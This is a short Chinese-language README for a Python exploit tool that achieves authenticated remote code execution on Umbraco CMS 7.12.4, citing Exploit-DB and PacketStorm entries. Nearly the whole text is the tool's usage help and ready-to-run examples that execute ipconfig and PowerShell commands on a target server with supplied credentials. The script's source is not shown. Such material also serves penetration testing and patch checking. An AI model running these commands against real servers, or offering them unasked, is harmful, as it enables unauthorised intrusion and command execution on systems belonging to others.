Umbraco CMS 7.12.4 -（需认证）远程代码执行
[EDB-49488] [PacketStorm] [WLB-2020080012]
$ python exploit.py -h
usage: exploit.py [-h] -u USER -p PASS -i URL -c CMD [-a ARGS]
Umbraco authenticated RCE
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER username / email
-p PASS, --password PASS password
-i URL, --host URL root URL
-c CMD, --command CMD command
-a ARGS, --arguments ARGS arguments
示例：
$ python exploit.py -u [email protected] -p password123 -i 'http://10.0.0.1' -c ipconfig
$ python exploit.py -u [email protected] -p password123 -i 'http://10.0.0.1' -c powershell.exe -a '-NoProfile -Command ls'
ArchLinux 示例：
pacman -S python-beautifulsoup4 python-requests
使用 pip 的示例：
pip3 install -r requirements.txt
这是对 EDB-ID-46153 的改进重写，使用参数（而非硬编码值），并支持 stdout 显示输出。
已在 python 3.8 上测试。